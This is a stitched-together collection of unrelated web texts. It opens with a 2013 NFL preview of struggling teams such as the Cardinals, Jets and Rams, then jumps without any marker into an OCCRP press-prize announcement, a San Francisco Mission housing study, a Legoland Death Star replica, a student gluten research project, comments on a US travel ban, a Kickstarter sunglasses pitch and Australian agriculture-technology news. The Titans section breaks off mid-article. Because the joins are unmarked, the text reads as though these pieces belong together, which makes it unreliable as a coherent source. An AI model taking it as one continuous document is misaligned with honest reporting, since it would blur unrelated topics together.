How bad is historically bad? Oh, it’s pretty bad. Arizona scored a mere 15.6 points per game last season, and that was with the defense chipping in three touchdowns. The three quarterbacks who weren’t Kevin Kolb were particularly gruesome; despite spending a good chunk of their collective time at quarterback mopping up in garbage time, the trio of John Skelton, Ryan Lindley, and Brian Hoyer completed 53.6 percent of their passes, averaged 5.2 yards per attempt, and threw just three touchdowns against 18 interceptions. If you could bottle that up and use those numbers as a defense, it would be the greatest pass defense in NFL history. No, really — the Cardinals are actually taking some sweaty towels from last year’s quarterbacks room and using them to make a cologne that they’ll spray onto the defense before games. Eau de Whisenhunt. Carson Palmer can’t help but be an upgrade on those guys.
The problem is that the stuff that was really impressive about Arizona last year might not be sticking around in 2013. Sure, the Cardinals still have All-World cornerback Patrick Peterson on one side of the field, but three of the four other starters in the secondary have moved on to assorted pastures. The uninspiring trio of Jerraud Powers, Antoine Cason, and Javier Arenas — all relatively high NFL draft picks who washed out of their first organizations as failures — are competing for time at corner, while Yeremiah Bell and Rashad Johnson take over for Kerry Rhodes and Adrian Wilson at safety. Blech. Everybody is more appropriately excited about Tyrann Mathieu, who will probably spend his rookie year in the slot as a nickelback corner–cum–safety and return man. Of course, it would be cool if the same calming forces that are getting the best out of the Honey Badger could have smoothed things out for star inside linebacker Daryl Washington, but Arizona’s sack leader from a year ago will miss the first four games of the season after being suspended this past offseason.
And if the defense declines, it’s going to take a career year out of Palmer to keep the Cardinals afloat. He’ll be happy to play with Larry Fitzgerald (and Fitzgerald should probably hug Palmer on a regular basis after having to endure the Ryan Lindley era), but after guard Jonathan Cooper, the seventh overall draft pick, suffered a season-ending injury during the preseason, Palmer might be running for his life just as much as the Arizona quarterbacks were a year ago. Tight end Rob Housler also suffered a high ankle sprain, which can’t help things. Expect a better offense to go with a worse defense, and don’t count on things being quite as streaky as they were a year ago. In other words: not just bad, but boring too.
Best-Case Scenario: The defense stays among the league’s elite, with the front seven hurrying the quarterback into throws that the LSU combination of Peterson and Mathieu can jump on for takeaways. Palmer and new head coach Bruce Arians breathe life into Fitzgerald after a shockingly irrelevant season, which is enough to get the Cardinals to 8-8 with hope for the future.
Worst-Case Scenario: The defense falls apart without the veterans in the secondary and Washington gone for the first four games, never recovering. Palmer gets hurt, the Cardinals turn the ball over to Lindley again, and Lindley proceeds to give it to the opposing defense like he’s a double agent. Arians lasts one year.
Buffalo Bills
2012 Record: 6-10
Pythagorean Wins: 5.8 (overperformed by 0.2 wins, 14th-luckiest in league)
Record in Games Decided by Seven Points or Fewer: 2-4 (0.333, 26th-best in league)
Strength of Schedule: 0.451 (second-easiest in league)
Turnover Margin: Minus-13 (tied for 27th in league)
2013 Out-of-Division Schedule: AFC North, NFC South, vs. Chiefs, at Jaguars
You will notice a theme among the teams in this group: They don’t have much of an answer at quarterback. Of these eight teams, the Bills probably have the most to hope for with their current quarterback situation. There are teams in the group who likely have better quarterbacks right now, but it’s easier to hope upon EJ Manuel, who hasn’t proven anything one way or another about his ability to succeed at the professional level. That, in itself, makes the Bills a relatively high-variance team, especially considering that the only two quarterbacks on their roster are two rookies, Manuel and Jeff Tuel. In fact, if the Bills don’t promote Thaddeus Lewis to the active roster or acquire another quarterback during the season, they would be the first team since the AFL-NFL merger in 1970 to carry only rookie quarterbacks on their roster. That seems like a safe plan, right?
In a way, you can’t really blame the Bills for taking the high-risk, high-reward route. If Manuel is awful and the Bills go 3-13, Buffalo likely ends up with an extremely high draft pick in what’s shaping up to be an excellent NFL draft next year; you can certainly imagine how nice Jadeveon Clowney would look on the Buffalo defensive line next to Marcell Dareus, Kyle Williams, and Mario Williams. Or maybe they end up with Teddy Bridgewater, who profiles as much more of a can’t-miss prospect than Manuel. Or, hey, maybe Manuel is good and the Bills find themselves a starting quarterback who will last for four full years as the starter for the first time since Jim Kelly.
Regardless of what Manuel does, the Bills already seem sunk by injuries. The team may already be down to Tuel as its starting quarterback in Week 1 after Kevin Kolb suffered a possibly career-ending concussion and Manuel underwent arthroscopic surgery on his knee during camp. Manuel will be back soon, but I can’t recall a great season that started with knee surgery. The secondary also lost its only above-average cornerback for the first few weeks of the season when Stephon Gilmore went down with a broken wrist in August. Then, on top of that, Pro Bowl safety Jairus Byrd is struggling with plantar fasciitis, a condition that will only continue to aggravate him as the season goes along. Even if Buffalo gets a better campaign from Mario Williams in his second year with the team, the promise of a playoff run still seems years away.
Best-Case Scenario: Manuel and C.J. Spiller do their best Robert Griffin–and–Alfred Morris impression, and the big names on the Buffalo defense do their best impression of the impact they were supposed to have. The Bills sneak into the playoffs at 10-6.
Worst-Case Scenario: This.
Jacksonville Jaguars
2012 Record: 2-14
Pythagorean Wins: 3.4 (underperformed by 1.4 wins, second-unluckiest in league)
Record in Games Decided by Seven Points or Fewer: 2-5 (0.286, fourth-worst in league)
Strength of Schedule: 0.464 (sixth-easiest in league)
Turnover Margin: Minus-3 (21st in league)
2013 Out-of-Division Schedule: AFC West, NFC West, at Browns, vs. Bills
Jacksonville had its best offseason in years, very simply, by keeping to the simplest plan possible. After firing general manager Gene Smith and head coach Mike Mularkey, the Jaguars hired the sort of people you would expect to lead a turnaround — a personnel guy from a successful front office (Dave Caldwell, formerly of the Falcons) and a coordinator from a successful team (Gus Bradley, previously the Seahawks’ defensive coordinator). They went to work on erasing some of the inanity of the previous administration, releasing the likes of Laurent Robinson, Aaron Ross, and Dawan Landry, veterans who had no hope of contributing to the next great Jaguars team. Jacksonville will eat $26 million in dead money on this year’s cap, and the likes of Paul Posluszny, Jeremy Mincey, Jason Babin, and Uche Nwaneri will probably be on the chopping block this time next year. They made no stupid signings in free agency, used their second overall pick on the best available player (right tackle Luke Joeckel), and have devoted this season to the process of finding young players who will be contributors in the future. With no obvious solution available at quarterback, the team didn’t reach for a passer in the draft or pay over the odds for one who wouldn’t be an answer. That’s all progress!
That’s the right process in the long term. In the short term, chances are that it will produce a pretty gruesome output. Jacksonville is saved by virtue of playing in the league’s worst division, and they’ll get star running back Maurice Jones-Drew back after MJD missed 10 games a year ago, but they’re still stuck with Blaine Gabbert at quarterback. Gabbert will have his best chance to succeed this year with the addition of Joeckel, but he’s already down his best wideout — 2012 first-rounder Justin Blackmon — for the first four games of 2013, thanks to a substance-abuse suspension. Furthermore, both MJD and starting left tackle Eugene Monroe, arguably the two best players the Jaguars have developed on offense over the past five years, are free agents after this season. The front office will have to decide whether they want to tie up cap space for years to come on players who might not really represent the difference between winning and losing.
In a way, the worst thing that could happen to the Jaguars this year would be competency. If they can get Gabbert to vaguely resemble an NFL quarterback in 2013, they might actually be stuck using him in 2014 in the hopes that he takes some enormous leap forward, one that would be virtually unprecedented for a player this bad. A terrible season from Gabbert would close the door on his run in Jacksonville and allow the franchise to look for the quarterback of that next great Jaguars team.
One other thing that will hurt Jacksonville’s chances of competing over the next several years: They play only seven home games per year. Their eighth “home” game comes in London each year as part of the NFL’s International Series, which is really a neutral-site game with fans who aren’t often Jaguars supporters.
Best-Case Scenario: Gabbert is terrible, but MJD gets off to a hot-enough start that some foolish team gives the Jaguars a second-round pick for him at the trade deadline. Jacksonville gets flashes of brilliance from young building blocks like Joeckel, Blackmon, and Jonathan Cyprien, but they’re still bad enough that they end up getting one of the top two picks in the 2014 draft and end up with Bridgewater or Clowney.
Worst-Case Scenario: “Well, you know, [D-team play-by-play guy name], Blaine Gabbert has really shown a lot of poise for this football team over the past few weeks. He’s really begun to look like the guy that they expected to see when they took him out of Missouri in the first round a few years back. I think he’s earned the right to be the starting quarterback for this team next year. And sure, I know he’s thrown 26 interceptions this season, but that shows me a player who is willing to try to make plays happen. He could play on my team any day.”
Minnesota Vikings
2012 Record: 10-6
Pythagorean Wins: 8.8 (overperformed by 1.2 wins, fourth-luckiest in league)
Record in Games Decided by Seven Points or Fewer: 5-1 (0.833, third-best in league)
Strength of Schedule: 0.525 (eighth-toughest in league)
Turnover Margin: Minus-1 (tied for 17th in league)
2013 Out-of-Division Schedule: AFC North, NFC East, vs. Panthers, at Seahawks, note the “home” game in England
I’ve already written about the Vikings at length in breaking down why they’re exceedingly unlikely to repeat their 2012 success in 2013, so I won’t rehash that again.
It’s probably a bit of a surprise that they ended up in this section as opposed to tomorrow’s declining group, but it’s not all that difficult to envision a scenario in which things fall apart. The simple act of their luck returning to league-average would place them in the middle of the pack, but then, what about Adrian Peterson returning to merely excellent levels of running back play? If other teams don’t feel the need to push eight men into the box and sneak a ninth toward the line at the snap, can Christian Ponder respond while throwing to a pair of new starting wideouts in Greg Jennings and Cordarrelle Patterson? Can one of the league’s oldest defensive lines hold up one of its youngest secondaries? What if Blair Walsh isn’t the best kicker in football again? What if their rookies take time to develop? What if the likes of Peterson or Jennings get hurt and miss notable time? If that happens, the Vikings go from merely taking a step backward to sprinting in the wrong direction.
By the way, Minnesota is the other team sacrificing a “home” game for the right to host a contest, as the Vikings will give up a game in Minnesota for one in London against the Steelers.
Best-Case Scenario: Peterson becomes the first back to record multiple 2,000-yard seasons, Leslie Frazier coaches up the secondary into an above-average unit, and Ponder develops impressive chemistry with Jennings, leading to a 10-6 season and another wild-card berth.
Worst-Case Scenario: Peterson gets hurt, everything falls apart, and a lot of players who seemed like answers are question marks heading into 2014.
New York Jets
2012 Record: 6-10
Pythagorean Wins: 5.4 (overperformed by 0.6 wins, ninth-luckiest in league)
Record in Games Decided by Seven Points or Fewer: 3-3 (0.500)
Strength of Schedule: 0.487 (13th-easiest in league)
Turnover Margin: Minus-14 (fourth-worst in league)
2013 Out-of-Division Schedule: AFC North, NFC South, vs. Raiders, at Titans
Rex Ryan took Mark Sanchez to two AFC Championship Games. You know this in your head, of course, but when you read about Ryan now, you hear about a guy who is seemingly befuddled and in over his head, a coach who seems to exist solely to prop up the back pages of the New York Post. He’s the guy who stuck with Sanchez too long, as if the same writers (and many of the same fans, truthfully) who see all the flaws in Sanchez now weren’t the ones fawning over his clutch performances and poise two years ago. As if there were better options then or now; from the moment the Jets drafted Sanchez in the first round until the moment they drafted Geno Smith this past year, there was never a quarterback on the Jets’ roster who had a shot at being better than Sanchez, as subpar as Sanchez can be.
In a few years, we’ll all realize just how impressive that actually was. Ryan coached up a defense with a few young stars and a lot of spare parts into a top-five unit, and then he took a guy who most of us wouldn’t trust to change a lightbulb and produced Mark Sanchez, destroyer of Patriot worlds. Sanchez beat Tom Brady in a playoff game. He beat Peyton Manning in one and nearly got him in another. This all actually happened.
Which is to say: Cut Ryan some slack. Sure, it’s probably his final year in town, even if he makes it through to Week 17. Throughout his time in New York, he has repeatedly taken the pressure off his players by absorbing the media’s attention, although that used to occur in the playoffs as opposed to the preseason. He’s like the biggest rodeo clown ever. It’s not the first time the media or an organization has turned on a great head coach fast; remember that the Browns fired Bill Belichick just one year after his team went 11-5 with the league’s best defense, producing a playoff spot despite the presence of Vinny Testaverde at quarterback. I don’t know that Ryan is the next Belichick or anything, but he deserves our applause, not our scorn. Outside of Bill Parcells, Rex might be the best coach the Jets have had since Weeb Ewbank. Ryan leaving is part of the problem, not the solution.
Best-Case Scenario: The Jets get off to a hot start before fizzling out, but Ryan’s reputation is restored to the point where he gets a contract extension. The Jets actually use the ashes of the Sanchez deal as the recycled paper for Ryan’s extension. They cut Sanchez after the season and have a ceremony so that the door can literally hit him on the ass on the way out.
Worst-Case Scenario: Ryan quits or gets fired early, and Smith does just enough on offense to win the Jets seven games and prevent them from continuing to rebuild with a top-five pick. The infamous snowball game makes its return, but instead of pegging the other team, everybody tries to throw at Sanchez.
Oakland Raiders
2012 Record: 4-12
Pythagorean Wins: 4.3 (underperformed by 0.3 wins, 15th-unluckiest in league)
Record in Games Decided by Seven Points or Fewer: 2-3 (0.400, 11th-worst in league)
Strength of Schedule: 0.470 (ninth-easiest in league)
Turnover Margin: Minus-7 (10th-worst in league)
2013 Out-of-Division Schedule: AFC South, NFC East, vs. Steelers, at Jets
According to Spotrac, the Raiders have just more than $50 million in dead money on their cap this year. That’s nearly half their cap committed to players who will not suit up and play a down for them this season. The 51 largest contracts on their active roster that occupy the remainder of their salary cap space use only a combined $66.5 million; remove Darren McFadden, Sebastian Janikowski, and Matt Flynn from the equation, and the ghosts of players who were released from the Oakland roster will tie up more cap space on Oakland’s ledger in 2013 than the players who are actually left suiting up in silver and black.
Take a look at the list of those guys and you get an idea of what went wrong in Oakland. First, there are the misguided trades of high draft picks for veterans, deals that yielded the now-departed Carson Palmer and Richard Seymour. The picks the Raiders traded away eventually produced Nate Solder, Dre Kirkpatrick, and Gio Bernard for the Patriots and Bengals. After them are the first-round busts, with the likes of Darrius Heyward-Bey and Rolando McClain tying up millions of dollars each, even after their departure. Heyward-Bey was the first wideout taken in a round that yielded Michael Crabtree, Jeremy Maclin, Percy Harvin, Hakeem Nicks, and Kenny Britt. McClain was taken ahead of Sean Weatherspoon, Sean Lee, and Daryl Washington, all excellent linebackers who aren’t, you know, retired from football. There are the overcommitments to long-time Raiders like Tommy Kelly and Michael Huff, the obsession with ex–Super Bowl winners like Dave Tollefson and Kevin Boss, and the reclamation project du jour, Aaron Curry. That list is the last 10 years of Raiders football in a nutshell.
Best-Case Scenario: The Raiders are the worst team in the league and end up with the tough choice of picking between a once-in-a-generation pass-rusher, a franchise quarterback, or a mountain of draft picks.
Worst-Case Scenario: Darren McFadden has a career year and carries the Raiders out of the bottom two. Mark Davis fires GM Reggie McKenzie after the season and turns things over to somebody who starts making all the same mistakes the Raiders used to make under Davis’s dad. This hair summit never occurs again.
St. Louis Rams
2012 Record: 7-8-1
Pythagorean Wins: 6.6 (overperformed by 0.4 wins, 12th-luckiest in league)
Record in Games Decided by Seven Points or Fewer: 4-3-1 (0.571, ninth-best in league)
Strength of Schedule: 0.555 (toughest in league)
Turnover Margin: Minus-1 (tied for 17th in league)
2013 Out-of-Division Schedule: AFC South, NFC South, vs. Bears, at Cowboys
The difference between Sam Bradford throwing to Danny Amendola and Sam Bradford throwing to anybody else has been very stark during Bradford’s brief NFL career. He gets about as much on each throw regardless — 6.1 yards per attempt to Amendola, 6.3 yards per attempt to all the others. Where he’s differed has been in completion percentage. Bradford has completed 66.5 percent of his passes to Amendola, which has helped make his numbers look better and left him with a safety valve during those times when Amendola and Bradford were both healthy. When throwing to other receivers, Bradford has completed just 56.8 percent of his passes. In other words, he turns from an efficient-if-conservative checkdown artist with Amendola into the 2012 version of Blaine Gabbert without him.
At this point, Bradford is basically a ruthless checkdown artist; the Rams are the ones paying millions of dollars to put something they don’t really understand or have any use for up on their wall right now, and since they’ve already done it once, they keep doing it. Bradford routinely doesn’t see open receivers downfield or doesn’t see them until the window is already closing. Just 6.8 percent of his passes since joining the league have gone for 20 yards or more, which is the lowest rate in the league for passers with 1,000 attempts or more over that time frame. The average rate for those quarterbacks is 9.3 percent, which tells you just how little of an impact Bradford has had. You can be a good quarterback in this league by checking down a lot — Matt Ryan is at only 7.6 percent, and Peyton Manning is barely ahead of him at 8.4 percent — but you need to complete 65 percent of your passes in doing so to repeatedly move the chains. Bradford is at 58 percent. If you want to succeed while completing 58 percent of your passes, you have to be like Cam Newton, who leads the league in this stat by turning 12.2 percent of his pass attempts into 20-plus-yard gains. If you’re not completing a lot of passes and those passes aren’t going very far, you’re not pushing your team in the right direction.
The Rams can make a case that Bradford has his best supporting cast ever. He has Jake Long in at left tackle and should hopefully get a full year out of Scott Wells at center. Amendola left for New England, but there are a variety of options available to replace him, including big-money free agents (Jared Cook) and top-10 draft picks (Tavon Austin) and their college buddies (Stedman Bailey). Of course, they’ve given Bradford a variety of wideouts and some expected line improvements in the past, and they haven’t been of much use.
The one thing from their statistical profile you would expect to see make their life easier would be that top-ranked schedule above, but the Rams still have to play the Seahawks and 49ers and line up, at least, against the Cardinals. That’s not enough alone to make St. Louis’s schedule the toughest in football for another season, but they should still be in the top five or so.
Best-Case Scenario: Ends Chris Long and Robert Quinn each finish with a dozen sacks, Bradford becomes fast friends with Austin and Cook out of the slot, and when one of the NFC West teams disappoints, the Rams win 10 games and sneak into the playoffs.
Worst-Case Scenario: Bradford blows and the Rams waste their season trying to get to 2014 and acquire their quarterback of the future.
Tennessee Titans
2012 Record: 6-10
Pythagorean Wins: 4.8 (overperformed by 1.2 wins, fifth-luckiest in league)
Record in Games Decided by Seven Points or Fewer: 4-3 (0.571, ninth-best in league)
Strength of Schedule: 0.469 (eight-easiest in league)
Turnover Margin: Minus-4 (22nd in league)
2013 Out-of-Division Schedule: AFC West, NFC West, vs. Jets, at Steelers
The Titans were pot-committed by the Jake Locker and Chris Johnson situations and were forced to go all-in to try to save both those contracts and players heading into 2013. In many cases, that meant spending lots of money. In on the offense this year are two new guards: Andy Levitre, who signed a massive deal to come over from Buffalo, and first-round pick Chance Warmack, who remains the last man standing so far. They also imported blocking wiz Delanie Walker at tight end to help clear lanes out for Johnson, who is still desperately trying to match his 2,000-yard campaign from 2009. For all the moves they made, they’re still stuck building around two players (if not more) who aren’t up to their financial recompense.
Tennessee was guilty of signing Johnson at his peak, expecting him to be a perennial rushing title candidate and getting an average running back in return. Locker seems more hopeless, because he hasn’t even really achieved inadequacy yet. He remains incredibly inconsistent, with a subpar completion percentage (which stretches back to his college days) and plenty of missed throws. The hope is that securing the interior of the offensive line will keep pressure out of Locker’s face and allow him to go through reads in the pocket. We’ll see if it actually works.
This does little for the defense, which allowed a league-high 29.4 points per game last year. They brought in safety Bernard Pollard and defensive tackle Sammie Lee Hill, but that’s just not going to be enough to justify spending so much money on offense and so little on defense this offseason. For whatever offensive improvements they make this offseason, the Titans simply aren’t heavily invested in their own defense. Maybe they’ll turn it around themselves.
Best-Case Scenario: CJ2K runs for 2,000-plus yards behind the best offensive line of his career, becoming the first back with multiple 2,000-yard seasons. Locker is good enough on deep throws to get by, and the Titans take advantage of a disappointing Texans team to go 10-6 and win the division.
Executive director Paul Radu and regional editor Miranda Patrucic accepted the award on behalf of OCCRP at today’s ceremony in Copenhagen, where editors and journalists gathered to congratulate the finest in their field.
The EPP gives a series of annual awards for high-quality journalism that stirs public debate and holds power to account.
Two OCCRP projects were finalists for the Investigative Reporting and Innovation categories of the award. It was the third year in a row that OCCRP stories featured in the EPP shortlists.
Radu, along with the OCCRP team, was shortlisted in the Innovation category for The Russian Laundromat. This investigative story exposed the mechanism by which flows of illegal or “dirty” Russian cash were routed through Moldova and Latvia to emerge "washed clean" in central Europe.
Unholy Alliances was nominated for the Investigative Reporting prize. Patrucic worked with journalists Dejan Milovac of the Montenegrin organization MANS and Stevan Dojcinovic of the Center for Investigative Journalism Serbia (CINS) to reveal how the government of Prime Minister of Montenegro Milo Djukanovic was linked to organized criminals through personal ties and the bank owned by his family.
Radu dedicated the Special Award on behalf of the organization to Khadija Ismayilova, the OCCRP and Radio Free Europe-Free Liberty reporter now in jail in Azerbaijan. Human rights groups believe the charges against Ismayilova are politically motivated and linked to her journalistic work .
“The OCCRP, the judges said, is a memorably motivated, determined force for good everywhere it operates. Its members do not get rich, but the societies they serve are richer and cleaner for the scrutiny only true, independent journalism can provide,” said the EPP in a statement.
Drew Sullivan, OCCRP editor-in-chief, said: “We are delighted to get this special award from the European Press Prize jury. OCCRP reporters work hard in difficult situations and it’s always humbling when such distinguished colleagues acknowledge their accomplishments.”
Winners in other categories included the story “Your Husband Voluntarily Went Under Fire”, written by Elena Kostyuchenko for Novaya Gazeta, which topped the Distinguished Writing category. Ander Izagirre’s story “How to Produce Dead Guerrillas”, for El Pais, won the Investigative Reporting award.
The number of Mission households with children is also expected to drop, to a projected 11 percent by 2025, compared with an estimated 21 percent today.
“If the status quo continues, we are going to lose this neighborhood as we know it,” Supervisor David Campos, who represents the Mission, said at a City Hall press conference Tuesday.
“If the current trend in development continues and we let the market do what it has been doing -- which is continue to build luxury housing -- what will happen to the racial and economic diversity of the Mission?" Campos asked. "How much housing would we have to build in this neighborhood for prices to actually come down?”
The budget and legislative analyst's report broadly answered that question, too -- with some mind-boggling math.
Borrowing from an analysis performed by the California Legislative Analyst’s Office, the report suggested San Francisco wouldn’t find itself in its present housing affordability mess if it had managed to build 459,000 housing units between 1980 and 2010, instead of the 60,334 units actually built. Currently, the city has about 370,000 housing units.
Essentially, this means that to bring housing costs down to a level considered normal nationwide, “we’d have to double the size of San Francisco,” Campos said.
The study was released a week before San Franciscans vote on Proposition I, a measure backed by Campos that would impose a moratorium on market-rate housing development in the Mission.
“What’s happening in this city is not working,” Campos said. “We need a change of direction. That’s what Prop. I and the neighborhood stabilization plan are about -- creating a new plan and a new direction for the Mission.”
The legislative analyst’s report isn’t the first formal study examining the future of the Mission in light of the proposed Mission development moratorium.
In September the city controller's office released a report by chief economist Ted Egan, which found that the proposed moratorium would “lead to slightly higher housing prices across the city, have no appreciable effect on no-fault eviction pressures, and have a limited impact on the city's ability to produce affordable housing during the moratorium period.”
The study also found that a moratorium “would temporarily preserve sites that could later be acquired for affordable housing, but it is highly unlikely that it would reduce the cost of any such site.”
Egan’s study was produced at the behest of supervisors Mark Farrell and Scott Wiener, who both oppose Prop. I.
“Proposition I for me is going to be a huge step in the wrong direction," Farrell said in an interview. "I don’t think that today in San Francisco we should be promoting policies that will cause housing prices to increase and that will halt the production of affordable housing. That is the wrong approach.”
Prop. I proponents champion the moratorium as a strategy to allow for a plan to create affordable housing, but Egan’s report suggested the housing freeze would do little to address the underlying issue of displacement due to property prices. If trends from the last two years continue, the legislative analyst said, Mission home prices could more than double in the next decade. Under the report's most conservative projection, prices would rise by 9 percent by 2025.
The new report by the budget and legislative analyst also suggests San Francisco’s total Latino population has actually held steady despite the recent declines in the Mission. U.S. Census data reflect an increase in Latino households in other San Francisco neighborhoods, including the Bayview, Mission Terrace, Excelsior and Lakeshore.
Some months ago, the Legoland-themed Park located in Carlsbad, California announced that they were working on a new Star Wars project. We were not surprised, given the number of Star Wars replica works that passionate Lego fans have been creating in recent times such as this one. After almost three months in the making, the Southern California’s Legoland has unveiled a gigantic replica of the Death Star, which was the ultimate weapon capable of destroying the entire universe in the original Star Wars trilogy.
This newest Star Wars model at Legoland is a colossal 1,900-pound (862kgs) destroyer that stands at 13 feet (3.9 meter) high with a diameter measuring 8 feet (2.4 meters). Even with all the numerous gigantic structures that are all over the world, it is still hard to imagine that a Death Star replica could be fashioned from over 500,000 Lego bricks. The replica is surrounded with tiny Lego spacecrafts such as Empire’s Tie-Fighters and Rebel X-Wings to completely recreate the scenes witnessed in the original movie.
Word has it that there were 15 professional engineers behind this giant model and was structured with a super laser blast to recreate light and sound effects of the movie’s epic battles. They also covered the model’s thermal exhaust port to ensure that this amazing work isn’t turned into a pile of Lego rubbles in the event of natural forces damage it. The engineers had to use a forklift to get this giant mini Death Star exhibit into position.
MOUNT VERNON, Wash. – Two high-school sophomores who reduced gluten strength in bread earned first place in the food sciences category at the Washington State Science and Engineering Fair, held April 4-5 in Bremerton.
Susanna Andrews and Sophia Romanelli, who attend Cedarcrest High School in Duvall, worked with the Bread Lab at Washington State University Mount Vernon to test their theory on whether the process of making naturally fermented bread can be altered to reduce gluten strength. Gluten is the mixture of proteins in wheat grains that gives the dough its elastic texture.
“I am gluten-intolerant, and Sophia has several friends and family who are interested in low-gluten diets, so we wanted to do a project that involved making a bread that had lower amounts of gluten,” said Andrews.
“The people at the Bread Lab were so welcoming and made us feel like equals in the world of science,” she said. “Working in the Bread Lab opened our eyes to science in the real world.”
Overcoming gluten intolerances
Among the young scientists’ mentors in the Bread Lab were WSU Mount Vernon Research Center director and wheat breeder Stephen Jones, resident baker Jonathan McDowell and graduate students Colin Curwen-McAdams and Bethany Econopouly. An integral part of the plant breeding program, the Bread Lab team studies grain properties and bread-making processes to determine suitability for various baking purposes.
“What we strive to do in the Bread Lab is combine the art of baking with the methodology of scientific inquiry, and Sophia’s and Susanna’s project is a perfect example of that,” Curwen-McAdams said. “Their curiosity and enthusiasm is infectious, and it has been really fun to work with the questions they bring and suggest ways to think about looking for answers.”
The 500-square-foot Bread Lab houses steam-injected hearth ovens and commercial-quality test equipment designed to measure such dough qualities as rise, strength, mixing tolerance and protein content. By experimenting with the bread-making process, the high-school students were able to answer the main question their project posed: “Can gluten intolerances be overcome by altering bread-making techniques?”
Feedback helps lab improve
What they found was that by increasing fermentation time they can create a bread with less gluten strength.
“A surprising and fun result was that we can now teach anyone the bread-making process,” said Romanelli. “At first we were amateurs, but with the mentoring from the Bread Lab, we quickly gained a new skill that will be beneficial to us for the rest of our lives.”
The benefits were mutual, according to Curwen-McAdams.
“The amazing thing about working with students like Sophia and Susanna is that their questions make us think deeply about each aspect of what we are doing and suggest new directions,” he said.
“It is easy to get focused on a project and not come up out of it to consider the context or ways that the research might be better accomplished,” he said. “Having visiting bakers and scientists helps us do that, and Sophia and Susanna are both.”
Interesting project inspires pursuit of science
Their experience was well worth the time and energy, the young scientists agreed.
“The commitment required to fulfill science fair can be hard without a project that is interesting,” Romanelli said. “With support from the WSU Bread Lab, our project this year made science fair beyond enjoyable, thanks to how exciting and informational it was.”
“Participating in this amazing opportunity has encouraged us to pursue careers in science that before we might not have considered,” Andrews said.
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"I joined a group of bipartisan national security officials to criticize this ban, both its predecessor and the current one, because I don't think from a national security encounter terrorism perspective, it gets at the problem," Monaco, the former assistant to President Obama for homeland security and counterterrorism, said on CNN's "New Day."
"And indeed, it could make it worse."
Monaco said the people aren't yet aware of the identities of the people who carried out the attack Saturday in London, which left at least seven people dead and dozens more injured.
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"But what we do know is the last two attacks before this one in Britain were conducted by British citizens. We also know that there has never been an attack in the United States since 9/11 by anybody from the countries that were listed in this ban," she said.
"So the bottom line is, it doesn't get at the problem that we're confronting here, which is, in many respects, inspired violence or home-grown violence."
Her comments come after Trump last weekend reignited debate over his travel ban in the wake of the London attack.
In a tweet on Saturday, Trump renewed his call for the courts to approve his revised executive order, which would temporarily bar nationals from six predominately Muslim countries from entering the U.S.
"We need to be smart, vigilant and tough," Trump said. "We need the courts to give us back our rights. We need the Travel Ban as an extra level of safety!"
FRAME SIZE: Short answer: The size of the classics is almost exactly the same size as Rayban Wayfarers. Long answer: Eye Width: 55mm; Bridge: 18mm; Temple Length: 140mm.
Short answer: The size of the classics is almost exactly the same size as Rayban Wayfarers. Long answer: Eye Width: 55mm; Bridge: 18mm; Temple Length: 140mm. UV PROTECTION: The carbon fiber material will incorporate both a UV-resistant epoxy within the composite and there will be a ceramic UV-resistant clear coat sprayed on last (which also helps with scratch resistance of the frames).
WORLD'S FIRST MOLDED CARBON FIBER SUNGLASSES // The kolstom classic sunglass frame is manufactured using carbon fiber reinforced polymer that is also widely used in motorsports, performance outdoor sporting goods and in aerospace due its high strength-to-weight ratio. This allows for the frames to be both light and extremely strong. By molding the frames under heat and pressure, it ensures that the functional properties of the carbon fiber composite is maximized. The kolstom classic is the world's first compression molded carbon fiber sunglass design.
UNIQUE LOCKING HINGE // The design also features a robust stainless steel hinge that locks both open and closed by using a spring-loaded ball detent system.
AWESOME FRAMES. AWESOME LENSES. // The kolstom classic features a thermally fused 9-layer lens manufactured by the world's leader in optics manufacturing. The lens features 1 polarizing core, 4 UV filters, 2 shock absorbers and 2 scratch resistant layers providing distortion free clarity and glare-reduction.
LOOKS GOOD ON ANYONE. // The classic design looks great on any face, male or female.
KICKSTART NEEDED. SEEKING PLEDGES. // This is where kickstarter comes in. I need your assistance to take this project from prototype to production -- the funds will be used on:
Development - Further development is needed to take the proof of concept prototype to a refined manufacturing ready design.
Tooling - High-strength steel molds and a custom heating fixture will be built for production.
Manufacturing - Raw material costs, lens cutting, etc. for pre-orders.
The kolstom classic will be crafted in the USA and if everything goes as planned, it will ship in early-June.
REWARDS. // By supporting the project you'll receive rewards based on your pledge level.
SPREAD THE WORD. // Everyone needs sunglasses so please spread the word and tell everyone you know!
Facebook - like us, share our page, links, etc.
Twitter - follow, tweet, retweet
THANK YOU! // Seriously, thanks for watching, reading, supporting and talking about the kolstom classic.
While investment in digital technology for agriculture trails all other sectors, especially finance, the industry is sensing a boom in adoption by farmers.
Less than $5 million was invested in Australian ag tech deals last year, while globally the figure was $4 billion, according to Michael Dean, a co-founder of the US-based Ag Funder who spoke at a recent Queensland conference.
That represented a 93 per cent lift on the previous year.
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The Australian Farm Institute's conference in Sydney highlighted how digital technology was "fundamentally changing agriculture", away from skills-based management to a more industrialised model, where decisions are based on objective data.
Among the Australian ag tech companies leading the way is The Yield, which has recently developed a risk assessment app for the Tasmanian oyster industry.
Founder Ros Harvey, an adjunct professor of the Queensland University Technology, worked with Barilla Bay Oysters, which wanted to calculate the risks to oysters from contamination after rain.
The company faced between $20,000 and $100,000 in losses each day health authorities closed the farm.
Share Snapshot of the app combining sensor data and tide times with salinity to reduce cost risks associated with closure of the estuary by food safety regulators
"What we do is put real-time salinity sensors in the water with the oyster and use that as a proxy instead," Professor Harvey said.
"So we can get a 30-per-cent reduction in unnecessary closure days."
In April this year, The Yield won a $2.5 million investment from the European-based Bosch Group, which it will use to employ 25 highly skilled staff to generate new technology in the food and agriculture sector.
Share Professor Salah Sakkarieh of the Centre for Field Robotics, University of Sydney explains the latest robot to PM Malcolm Turnbull and Marise Payne, defence minister
Robotics expertise in Australia
One area where Australia is leading the sector is in field robotics at the University of Sydney.
Professor Salah Sukkarieh and his team at the Australian Centre for Field Robotics have contracts with agriculture, mining and commercial aviation.
Its new 'shrimp' robot, named for its 16 sensors, is being trialled in apple and almond orchards.
"It's able to go up and down rows autonomously and detect [and count very rapidly] individual features like flowers, fruit or nuts," Professor Sakkarieh said.
That project has been extended to include tropical fruit and macadamia nuts.
Professor Sakkarieh said researchers were now advising farmers to prepare tree row spacing and sheds to be able to accommodate a team of robots and computers rather than just workers.
"In the vegetable industry, our collaborations in the past have been with growers, and now it's focussing on the value to individual growers, to get a return on investment."
Data partners for sheep
The Sheep and Data to Decisions (D2D) Cooperative Research Centres have announced a partnership to collect data to help predict growth, pasture, parasite burdens, and production for prime lambs.
